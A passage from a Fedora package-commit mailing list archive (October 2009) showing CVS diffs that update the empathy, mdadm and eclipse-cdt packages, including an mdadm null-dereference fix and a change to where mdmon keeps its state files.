+++ sources	2 Oct 2009 19:31:38 -0000	1.40
@@ -1 +1 @@
-a51a560d45595402c32d441f7075b005  empathy-2.28.0.tar.bz2
+a11420a2c3ae18c26026e729b479a15e  empathy-2.28.0.1.tar.bz2



From bpepple at fedoraproject.org  Fri Oct  2 19:33:45 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri,  2 Oct 2009 19:33:45 +0000 (UTC)
Subject: rpms/empathy/F-12 .cvsignore, 1.39, 1.40 empathy.spec, 1.78,
	1.79 sources, 1.39, 1.40
Message-ID: <20091002193345.A5CA311C00C1@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32149

Modified Files:
	.cvsignore empathy.spec sources 
Log Message:
* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
- Update to 2.28.0.1.
- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	21 Sep 2009 23:16:45 -0000	1.39
+++ .cvsignore	2 Oct 2009 19:33:45 -0000	1.40
@@ -1 +1 @@
-empathy-2.28.0.tar.bz2
+empathy-2.28.0.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- empathy.spec	21 Sep 2009 23:16:46 -0000	1.78
+++ empathy.spec	2 Oct 2009 19:33:45 -0000	1.79
@@ -13,7 +13,7 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.0
+Version:	2.28.0.1
 Release:	1%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
@@ -70,9 +70,7 @@ Requires:	telepathy-filesystem
 ##       PackageKit and friends?
 Requires:	telepathy-gabble
 Requires:	telepathy-salut
-## Also hardcode Haze dependency since Empathy is the default IM client in F10+
-## and I'd hate for people to simply disregard it for lack of the "out of the
-## box" protocol support that Pidgin has. (RHBZ: 458935)
+## Also hardcode Haze dependency since Empathy is the default IM client in F12(RHBZ: 458935)
 Requires:	telepathy-haze
 Requires:	telepathy-mission-control >= %{tp_mc_min_version}
 
@@ -244,6 +242,10 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
+- Update to 2.28.0.1.
+- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news
+
 * Mon Sep 21 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0-1
 - Update to 2.28.0.
 - Drop video widget patch.  Fixed upstream.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	21 Sep 2009 23:16:46 -0000	1.39
+++ sources	2 Oct 2009 19:33:45 -0000	1.40
@@ -1 +1 @@
-a51a560d45595402c32d441f7075b005  empathy-2.28.0.tar.bz2
+a11420a2c3ae18c26026e729b479a15e  empathy-2.28.0.1.tar.bz2



From jwrdegoede at fedoraproject.org  Fri Oct  2 19:36:58 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  2 Oct 2009 19:36:58 +0000 (UTC)
Subject: rpms/mdadm/devel mdadm-3.0-mdmon-dev-.mdadm.patch, NONE,
	1.1 mdadm-3.0-rh526761.patch, NONE, 1.1 .cvsignore, 1.25,
	1.26 mdadm.spec, 1.74, 1.75 mdmonitor.init, 1.8, 1.9 sources,
	1.25, 1.26 mdadm-3.0-calloc.patch, 1.1, NONE
Message-ID: <20091002193658.11E2711C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/mdadm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1013

Modified Files:
	.cvsignore mdadm.spec mdmonitor.init sources 
Added Files:
	mdadm-3.0-mdmon-dev-.mdadm.patch mdadm-3.0-rh526761.patch 
Removed Files:
	mdadm-3.0-calloc.patch 
Log Message:
* Fri Oct  2 2009 Hans de Goede <hdegoede at redhat.com> - 3.0.2-1
- New upstream release 3.0.2
- Add a patch fixing mdadm --detail -export segfaults (bz526761, bz523862)
- Add a patch making mdmon store its state under /dev/.mdadm for initrd
  mdmon, rootfs mdmon handover
- Restart mdmon from initscript (when running) for rootfs mdmon handover


mdadm-3.0-mdmon-dev-.mdadm.patch:
 mdmon.c |   17 ++++++++---------
 msg.c   |    2 +-
 util.c  |    4 ++--
 3 files changed, 11 insertions(+), 12 deletions(-)

--- NEW FILE mdadm-3.0-mdmon-dev-.mdadm.patch ---
diff -up mdadm-3.0/mdmon.c~ mdadm-3.0/mdmon.c
--- mdadm-3.0/mdmon.c~	2009-09-19 14:22:23.000000000 +0200
+++ mdadm-3.0/mdmon.c	2009-09-19 14:22:23.000000000 +0200
@@ -124,7 +124,7 @@ int make_pidfile(char *devname, int o_ex
 	if (sigterm)
 		return -1;
 
-	sprintf(path, "/var/run/mdadm/%s.pid", devname);
+	sprintf(path, "/dev/.mdadm/%s.pid", devname);
 
 	fd = open(path, O_RDWR|O_CREAT|o_excl, 0600);
 	if (fd < 0)
@@ -157,7 +157,7 @@ static void try_kill_monitor(char *devna
 	pid_t pid;
 	struct mdstat_ent *mdstat;
 
-	sprintf(buf, "/var/run/mdadm/%s.pid", devname);
+	sprintf(buf, "/dev/.mdadm/%s.pid", devname);
 	fd = open(buf, O_RDONLY);
 	if (fd < 0)
 		return;
@@ -207,9 +207,9 @@ void remove_pidfile(char *devname)
 	if (sigterm)
 		return;
 
-	sprintf(buf, "/var/run/mdadm/%s.pid", devname);
+	sprintf(buf, "/dev/.mdadm/%s.pid", devname);
 	unlink(buf);
-	sprintf(buf, "/var/run/mdadm/%s.sock", devname);
+	sprintf(buf, "/dev/.mdadm/%s.sock", devname);
 	unlink(buf);
 }
 
@@ -223,7 +223,7 @@ int make_control_sock(char *devname)
 	if (sigterm)
 		return -1;
 
-	sprintf(path, "/var/run/mdadm/%s.sock", devname);
+	sprintf(path, "/dev/.mdadm/%s.sock", devname);
 	unlink(path);
 	sfd = socket(PF_LOCAL, SOCK_STREAM, 0);
 	if (sfd < 0)
@@ -478,11 +478,10 @@ int mdmon(char *devname, int devnum, int
 	}
 
 	/* If this fails, we hope it already exists 
-	 * pid file lives in /var/run/mdadm/mdXX.pid
+	 * pid file lives in /dev/.mdadm/mdXX.pid
 	 */
-	mkdir("/var", 0600);
-	mkdir("/var/run", 0600);
-	mkdir("/var/run/mdadm", 0600);
+	mkdir("/dev", 0700);
+	mkdir("/dev/.mdadm", 0700);
 	ignore = chdir("/");
 	if (make_pidfile(container->devname, O_EXCL) < 0) {
 		if (ping_monitor(container->devname) == 0) {
diff -up mdadm-3.0/msg.c~ mdadm-3.0/msg.c
--- mdadm-3.0/msg.c~	2009-09-11 08:10:24.000000000 +0200
+++ mdadm-3.0/msg.c	2009-09-19 15:31:27.000000000 +0200
@@ -147,7 +147,7 @@ int connect_monitor(char *devname)
 	int pos;
 	char *c;
 
-	pos = sprintf(path, "/var/run/mdadm/");
+	pos = sprintf(path, "/dev/.mdadm/");
 	if (is_subarray(devname)) {
 		devname++;
 		c = strchr(devname, '/');
diff -up mdadm-3.0/util.c~ mdadm-3.0/util.c
--- mdadm-3.0/util.c~	2009-09-19 14:22:23.000000000 +0200
+++ mdadm-3.0/util.c	2009-09-19 15:32:22.000000000 +0200
@@ -1206,7 +1206,7 @@ int mdmon_running(int devnum)
 	char pid[10];
 	int fd;
 	int n;
-	sprintf(path, "/var/run/mdadm/%s.pid", devnum2devname(devnum));
+	sprintf(path, "/dev/.mdadm/%s.pid", devnum2devname(devnum));
 	fd = open(path, O_RDONLY, 0);
 
 	if (fd < 0)
@@ -1226,7 +1226,7 @@ int signal_mdmon(int devnum)
 	char pid[10];
 	int fd;
 	int n;
-	sprintf(path, "/var/run/mdadm/%s.pid", devnum2devname(devnum));
+	sprintf(path, "/dev/.mdadm/%s.pid", devnum2devname(devnum));
 	fd = open(path, O_RDONLY, 0);
 
 	if (fd < 0)

mdadm-3.0-rh526761.patch:
 mapfile.c |   15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

--- NEW FILE mdadm-3.0-rh526761.patch ---
From: NeilBrown <neilb at suse.de>
Date: Thu, 1 Oct 2009 02:51:04 +0000 (+1000)
Subject: Fix null-dereference in set_member_info
X-Git-Url: http://neil.brown.name/git?p=mdadm;a=commitdiff_plain;h=2b9aa337af7291d3f141322da96c9f667c99d53c

Fix null-dereference in set_member_info

set_member_info would try to dereference ->metadata_version, without
checking that it isn't NULL.

Signed-off-by: NeilBrown <neilb at suse.de>
---

diff --git a/mapfile.c b/mapfile.c
index a3038be..ed59db5 100644
--- a/mapfile.c
+++ b/mapfile.c
@@ -303,19 +303,22 @@ struct map_ent *map_by_name(struct map_ent **map, char *name)
  */
 static void set_member_info(struct supertype *st, struct mdstat_ent *ent)
 {
-	char version[strlen(ent->metadata_version)+1];
 
 	st->subarray[0] = '\0';
 
-	if (strncmp(ent->metadata_version, "external:", 9) != 0)
+	if (ent->metadata_version == NULL ||
+	    strncmp(ent->metadata_version, "external:", 9) != 0)
 		return;
 
-	strcpy(version, ent->metadata_version);
-
-	if (is_subarray(&version[9])) {
-		char *subarray = strrchr(version, '/');
+	if (is_subarray(&ent->metadata_version[9])) {
+		char version[strlen(ent->metadata_version)+1];
+		char *subarray;
 		char *name = &version[10];
 
+		strcpy(version, ent->metadata_version);
+		subarray = strrchr(version, '/');
+		name = &version[10];
+
 		if (!subarray)
 			return;
 		*subarray++ = '\0';


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mdadm/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	15 Sep 2009 19:03:58 -0000	1.25
+++ .cvsignore	2 Oct 2009 19:36:57 -0000	1.26
@@ -1,16 +1 @@
-mdmpd-0.4.tgz
-mdadm-2.2.tar.bz2
-mdadm-2.3.1.tgz
-mdadm-2.5.2.tar.bz2
-mdadm-2.5.3.tar.bz2
-mdadm-2.5.4.tgz
-mdadm-2.6.tgz
-mdadm-2.6.1.tgz
-mdadm-2.6.2.tgz
-mdadm-2.6.4.tgz
-mdadm-2.6.7.tar.bz2
-mdadm-2.6.7.1.tar.bz2
-mdadm-3.0-devel2.tar.bz2
-mdadm-3.0-devel3.tar.bz2
-mdadm-3.0.tar.bz2
-mdadm-3.0-0.20090915git.tar.bz2
+mdadm-3.0.2.tar.bz2


Index: mdadm.spec
===================================================================
RCS file: /cvs/extras/rpms/mdadm/devel/mdadm.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- mdadm.spec	17 Sep 2009 11:43:33 -0000	1.74
+++ mdadm.spec	2 Oct 2009 19:36:57 -0000	1.75
@@ -1,8 +1,8 @@
 Summary:     The mdadm program controls Linux md devices (software RAID arrays)
 Name:        mdadm
-Version:     3.0
-Release:     4%{?dist}
-Source:      http://www.kernel.org/pub/linux/utils/raid/mdadm/mdadm-%{version}-0.20090915git.tar.bz2
+Version:     3.0.2
+Release:     1%{?dist}
+Source:      http://www.kernel.org/pub/linux/utils/raid/mdadm/mdadm-%{version}.tar.bz2
 Source1:     mdmonitor.init
 Source2:     raid-check
 Source3:     mdadm.rules
@@ -11,7 +11,8 @@ Patch1:      mdadm-2.5.2-static.patch
 Patch2:      mdadm-3.0-endian-FAIL.patch
 Patch3:      mdadm-3.0-metadata.patch
 Patch4:      mdadm-3.0-uuid.patch
-Patch5:      mdadm-3.0-calloc.patch
+Patch5:      mdadm-3.0-mdmon-dev-.mdadm.patch
+Patch6:      mdadm-3.0-rh526761.patch
 URL:         http://www.kernel.org/pub/linux/utils/raid/mdadm/
 License:     GPLv2+
 Group:       System Environment/Base
@@ -36,7 +37,8 @@ file can be used to help with some commo
 %patch2 -p1 -b .endian
 %patch3 -p1 -b .metadata
 %patch4 -p1 -b .uuid
-%patch5 -p1 -b .calloc
+%patch5 -p1 -b .mdmon
+%patch6 -p1 -b .rh526761
 
 %build
 make %{?_smp_mflags} CXFLAGS="$RPM_OPT_FLAGS -fno-strict-aliasing" SYSCONFDIR="%{_sysconfdir}" mdadm.static mdadm mdmon
@@ -82,6 +84,13 @@ fi
 %attr(0700,root,root) %dir /var/run/mdadm
 
 %changelog
+* Fri Oct  2 2009 Hans de Goede <hdegoede at redhat.com> - 3.0.2-1
+- New upstream release 3.0.2
+- Add a patch fixing mdadm --detail -export segfaults (bz526761, bz523862)
+- Add a patch making mdmon store its state under /dev/.mdadm for initrd
+  mdmon, rootfs mdmon handover
+- Restart mdmon from initscript (when running) for rootfs mdmon handover
+
 * Thu Sep 17 2009 Doug Ledford <dledford at redhat.com> - 3.0-4
 - Stop some mdmon segfaults (bz523860)
 


Index: mdmonitor.init
===================================================================
RCS file: /cvs/extras/rpms/mdadm/devel/mdmonitor.init,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mdmonitor.init	19 Oct 2007 16:38:10 -0000	1.8
+++ mdmonitor.init	2 Oct 2009 19:36:57 -0000	1.9
@@ -40,6 +40,12 @@ usage ()
 
 start ()
 {
+# (Re)start mdmon to take over monitoring of mdmon started from the initrd
+    if [ -f /dev/.mdadm/*.pid ]; then
+        origprog="$prog"; prog="mdmon"
+        action $"Starting $prog: " /sbin/mdmon /proc/mdstat /
+        prog="$origprog"
+    fi
 # Make sure configuration file exists and has information we can use
 # MAILADDR or PROGRAM or both must be set in order to run mdadm --monitor
     [ -f /etc/mdadm.conf ] || return 6


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mdadm/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	15 Sep 2009 19:03:58 -0000	1.25
+++ sources	2 Oct 2009 19:36:57 -0000	1.26
@@ -1 +1 @@
-7a1ba5aaaa04e34ef85b85fcadbf2519  mdadm-3.0-0.20090915git.tar.bz2
+38f7e3e073fcf35fc766686bd414488b  mdadm-3.0.2.tar.bz2


--- mdadm-3.0-calloc.patch DELETED ---



From jwrdegoede at fedoraproject.org  Fri Oct  2 19:41:36 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  2 Oct 2009 19:41:36 +0000 (UTC)
Subject: rpms/mdadm/F-12 .cvsignore, 1.25, 1.26 mdadm.spec, 1.74,
	1.75 mdmonitor.init, 1.8, 1.9 sources, 1.25, 1.26
Message-ID: <20091002194137.96CEC11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/mdadm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2379

Modified Files:
	.cvsignore mdadm.spec mdmonitor.init sources 
Log Message:
* Fri Oct  2 2009 Hans de Goede <hdegoede at redhat.com> - 3.0.2-1
- New upstream release 3.0.2
- Add a patch fixing mdadm --detail -export segfaults (bz526761, bz523862)
- Add a patch making mdmon store its state under /dev/.mdadm for initrd
  mdmon, rootfs mdmon handover
- Restart mdmon from initscript (when running) for rootfs mdmon handover



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mdadm/F-12/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	15 Sep 2009 19:03:58 -0000	1.25
+++ .cvsignore	2 Oct 2009 19:41:35 -0000	1.26
@@ -1,16 +1 @@
-mdmpd-0.4.tgz
-mdadm-2.2.tar.bz2
-mdadm-2.3.1.tgz
-mdadm-2.5.2.tar.bz2
-mdadm-2.5.3.tar.bz2
-mdadm-2.5.4.tgz
-mdadm-2.6.tgz
-mdadm-2.6.1.tgz
-mdadm-2.6.2.tgz
-mdadm-2.6.4.tgz
-mdadm-2.6.7.tar.bz2
-mdadm-2.6.7.1.tar.bz2
-mdadm-3.0-devel2.tar.bz2
-mdadm-3.0-devel3.tar.bz2
-mdadm-3.0.tar.bz2
-mdadm-3.0-0.20090915git.tar.bz2
+mdadm-3.0.2.tar.bz2


Index: mdadm.spec
===================================================================
RCS file: /cvs/extras/rpms/mdadm/F-12/mdadm.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- mdadm.spec	17 Sep 2009 11:43:33 -0000	1.74
+++ mdadm.spec	2 Oct 2009 19:41:36 -0000	1.75
@@ -1,8 +1,8 @@
 Summary:     The mdadm program controls Linux md devices (software RAID arrays)
 Name:        mdadm
-Version:     3.0
-Release:     4%{?dist}
-Source:      http://www.kernel.org/pub/linux/utils/raid/mdadm/mdadm-%{version}-0.20090915git.tar.bz2
+Version:     3.0.2
+Release:     1%{?dist}
+Source:      http://www.kernel.org/pub/linux/utils/raid/mdadm/mdadm-%{version}.tar.bz2
 Source1:     mdmonitor.init
 Source2:     raid-check
 Source3:     mdadm.rules
@@ -11,7 +11,8 @@ Patch1:      mdadm-2.5.2-static.patch
 Patch2:      mdadm-3.0-endian-FAIL.patch
 Patch3:      mdadm-3.0-metadata.patch
 Patch4:      mdadm-3.0-uuid.patch
-Patch5:      mdadm-3.0-calloc.patch
+Patch5:      mdadm-3.0-mdmon-dev-.mdadm.patch
+Patch6:      mdadm-3.0-rh526761.patch
 URL:         http://www.kernel.org/pub/linux/utils/raid/mdadm/
 License:     GPLv2+
 Group:       System Environment/Base
@@ -36,7 +37,8 @@ file can be used to help with some commo
 %patch2 -p1 -b .endian
 %patch3 -p1 -b .metadata
 %patch4 -p1 -b .uuid
-%patch5 -p1 -b .calloc
+%patch5 -p1 -b .mdmon
+%patch6 -p1 -b .rh526761
 
 %build
 make %{?_smp_mflags} CXFLAGS="$RPM_OPT_FLAGS -fno-strict-aliasing" SYSCONFDIR="%{_sysconfdir}" mdadm.static mdadm mdmon
@@ -82,6 +84,13 @@ fi
 %attr(0700,root,root) %dir /var/run/mdadm
 
 %changelog
+* Fri Oct  2 2009 Hans de Goede <hdegoede at redhat.com> - 3.0.2-1
+- New upstream release 3.0.2
+- Add a patch fixing mdadm --detail -export segfaults (bz526761, bz523862)
+- Add a patch making mdmon store its state under /dev/.mdadm for initrd
+  mdmon, rootfs mdmon handover
+- Restart mdmon from initscript (when running) for rootfs mdmon handover
+
 * Thu Sep 17 2009 Doug Ledford <dledford at redhat.com> - 3.0-4
 - Stop some mdmon segfaults (bz523860)
 


Index: mdmonitor.init
===================================================================
RCS file: /cvs/extras/rpms/mdadm/F-12/mdmonitor.init,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mdmonitor.init	19 Oct 2007 16:38:10 -0000	1.8
+++ mdmonitor.init	2 Oct 2009 19:41:36 -0000	1.9
@@ -40,6 +40,12 @@ usage ()
 
 start ()
 {
+# (Re)start mdmon to take over monitoring of mdmon started from the initrd
+    if [ -f /dev/.mdadm/*.pid ]; then
+        origprog="$prog"; prog="mdmon"
+        action $"Starting $prog: " /sbin/mdmon /proc/mdstat /
+        prog="$origprog"
+    fi
 # Make sure configuration file exists and has information we can use
 # MAILADDR or PROGRAM or both must be set in order to run mdadm --monitor
     [ -f /etc/mdadm.conf ] || return 6


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mdadm/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	15 Sep 2009 19:03:58 -0000	1.25
+++ sources	2 Oct 2009 19:41:36 -0000	1.26
@@ -1 +1 @@
-7a1ba5aaaa04e34ef85b85fcadbf2519  mdadm-3.0-0.20090915git.tar.bz2
+38f7e3e073fcf35fc766686bd414488b  mdadm-3.0.2.tar.bz2



From jjohnstn at fedoraproject.org  Fri Oct  2 19:42:29 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  2 Oct 2009 19:42:29 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-11 eclipse-cdt-libhover-oldcdt.patch, 1.1,
	1.2 eclipse-cdt.spec, 1.125, 1.126
Message-ID: <20091002194229.D0B8E11C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2912

Modified Files:
	eclipse-cdt-libhover-oldcdt.patch eclipse-cdt.spec 
Log Message:

Another scratch build.


eclipse-cdt-libhover-oldcdt.patch:
 META-INF/MANIFEST.MF                                                  |    1 
 src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java           |    1 
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java        |  388 +++++-----
 src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java |   10 
 4 files changed, 209 insertions(+), 191 deletions(-)

Index: eclipse-cdt-libhover-oldcdt.patch
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-11/eclipse-cdt-libhover-oldcdt.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipse-cdt-libhover-oldcdt.patch	2 Oct 2009 18:58:22 -0000	1.1
+++ eclipse-cdt-libhover-oldcdt.patch	2 Oct 2009 19:42:26 -0000	1.2
@@ -1,14 +1,14 @@
 diff -up ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF
---- ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix	2009-10-02 14:32:05.000000000 -0400
-+++ ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF	2009-10-02 14:33:28.000000000 -0400
+--- ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF.fix	2009-10-02 15:31:47.000000000 -0400
++++ ./org.eclipse.linuxtools.cdt.libhover/META-INF/MANIFEST.MF	2009-10-02 15:32:51.000000000 -0400
 @@ -18,3 +18,4 @@ Require-Bundle: org.eclipse.ui,
   org.eclipse.jface.text;bundle-version="3.4.1"
  Bundle-RequiredExecutionEnvironment: J2SE-1.5
  Export-Package: org.eclipse.linuxtools.cdt.libhover
 +Bundle-ActivationPolicy: lazy
 diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java
---- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix	2009-10-02 14:32:28.000000000 -0400
-+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java	2009-10-02 14:33:28.000000000 -0400
+--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java.fix	2009-10-02 15:32:06.000000000 -0400
++++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/cdt/libhover/LibhoverPlugin.java	2009-10-02 15:32:51.000000000 -0400
 @@ -29,6 +29,7 @@ public class LibhoverPlugin extends Abst
  	 * The constructor
  	 */
@@ -18,8 +18,8 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  
  	/*
 diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java
---- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix	2009-10-02 14:32:44.000000000 -0400
-+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java	2009-10-02 14:41:53.000000000 -0400
+--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java.fix	2009-10-02 15:32:21.000000000 -0400
++++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHover.java	2009-10-02 15:39:10.000000000 -0400
 @@ -1,5 +1,5 @@
  /*******************************************************************************
 - * Copyright (c) 2004, 2006, 2007, 2008 Red Hat, Inc.
@@ -27,7 +27,16 @@ diff -up ./org.eclipse.linuxtools.cdt.li
   * All rights reserved. This program and the accompanying materials
   * are made available under the terms of the Eclipse Public License v1.0
   * which accompanies this distribution, and is available at
-@@ -213,44 +213,44 @@ public class LibHover implements ICHelpP
+@@ -49,8 +49,6 @@ import org.eclipse.cdt.ui.ICHelpResource
+ import org.eclipse.cdt.ui.IFunctionSummary;
+ import org.eclipse.cdt.ui.IRequiredInclude;
+ import org.eclipse.cdt.ui.text.ICHelpInvocationContext;
+-import org.eclipse.cdt.ui.text.IHoverHelpInvocationContext;
+-import org.eclipse.cdt.ui.text.SharedASTJob;
+ import org.eclipse.core.runtime.IConfigurationElement;
+ import org.eclipse.core.runtime.IExtensionRegistry;
+ import org.eclipse.core.runtime.IStatus;
+@@ -213,44 +211,44 @@ public class LibHover implements ICHelpP
  		return Character.isLetterOrDigit(ch) || ch == '_' || ch == ':'; 
  	}
  
@@ -110,12 +119,9 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  
  	public IFunctionSummary getFunctionInfo(ICHelpInvocationContext context, ICHelpBook[] helpBooks, String name) {
          IFunctionSummary f;
-@@ -264,146 +264,146 @@ public class LibHover implements ICHelpP
-         ITranslationUnit t = context.getTranslationUnit();
-         
+@@ -266,155 +264,155 @@ public class LibHover implements ICHelpP
          String className = null;
--        ICPPFunctionType methodType = null;
-+//        ICPPFunctionType methodType = null;
+         ICPPFunctionType methodType = null;
          
 -        if (t.isCXXLanguage()) {
 -        	try {
@@ -396,7 +402,23 @@ diff -up ./org.eclipse.linuxtools.cdt.li
          	
          // Loop through all the documents we have and report first match.
          for (int i = 0; i < helpBooks.length; ++i) {
-@@ -451,7 +451,7 @@ public class LibHover implements ICHelpP
+         	LibHoverLibrary l = libraries.get(helpBooks[i]);
+         	if (name != null) {
+-        		if (className != null) {
+-        			if (l.isCPP())
+-        				f = getMemberSummary(l, className, name, methodType);
+-        		} else {
++//        		if (className != null) {
++//        			if (l.isCPP())
++//        				f = getMemberSummary(l, className, name, methodType);
++//        		} else {
+         			f = getFunctionSummary(l, name);
+-        		}
++//        		}
+         		if (f != null)
+         			return f;
+         	}
+@@ -451,7 +449,7 @@ public class LibHover implements ICHelpP
  			return null;
  		if (methodType != null) {
  			try {
@@ -405,7 +427,7 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  				returnType = methodType.getReturnType();
  			} catch (DOMException e) {
  				// TODO Auto-generated catch block
-@@ -465,11 +465,11 @@ public class LibHover implements ICHelpP
+@@ -465,11 +463,11 @@ public class LibHover implements ICHelpP
  		MemberInfo member = info.getMember(memberName);
  		if (member != null) {
  			MemberInfo m = null;
@@ -419,7 +441,7 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  						m = k;
  						break;
  					}
-@@ -513,12 +513,18 @@ public class LibHover implements ICHelpP
+@@ -513,12 +511,18 @@ public class LibHover implements ICHelpP
  	}
       
   	
@@ -440,7 +462,7 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  		String[] templateParms = info.getTemplateParms();
  		String[] result = new String[parameterTypes.length];
  		for (int i = 0; i < parameterTypes.length; ++i) {
-@@ -529,7 +535,11 @@ public class LibHover implements ICHelpP
+@@ -529,7 +533,11 @@ public class LibHover implements ICHelpP
  			while (index >= 0) {
  				// We assume no class has more than 9 template parms.
  				int digit = param.charAt(index + 1) - '0';
@@ -454,8 +476,8 @@ diff -up ./org.eclipse.linuxtools.cdt.li
  			}
  			result[i] = param;
 diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java
---- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix	2009-10-02 14:32:52.000000000 -0400
-+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java	2009-10-02 14:33:28.000000000 -0400
+--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix	2009-10-02 15:32:31.000000000 -0400
++++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java	2009-10-02 15:32:51.000000000 -0400
 @@ -21,10 +21,12 @@ import java.net.URL;
  import java.util.ArrayList;
  


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-11/eclipse-cdt.spec,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- eclipse-cdt.spec	2 Oct 2009 18:58:22 -0000	1.125
+++ eclipse-cdt.spec	2 Oct 2009 19:42:28 -0000	1.126
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        5.1%{?dist}
+Release:        5.2%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt



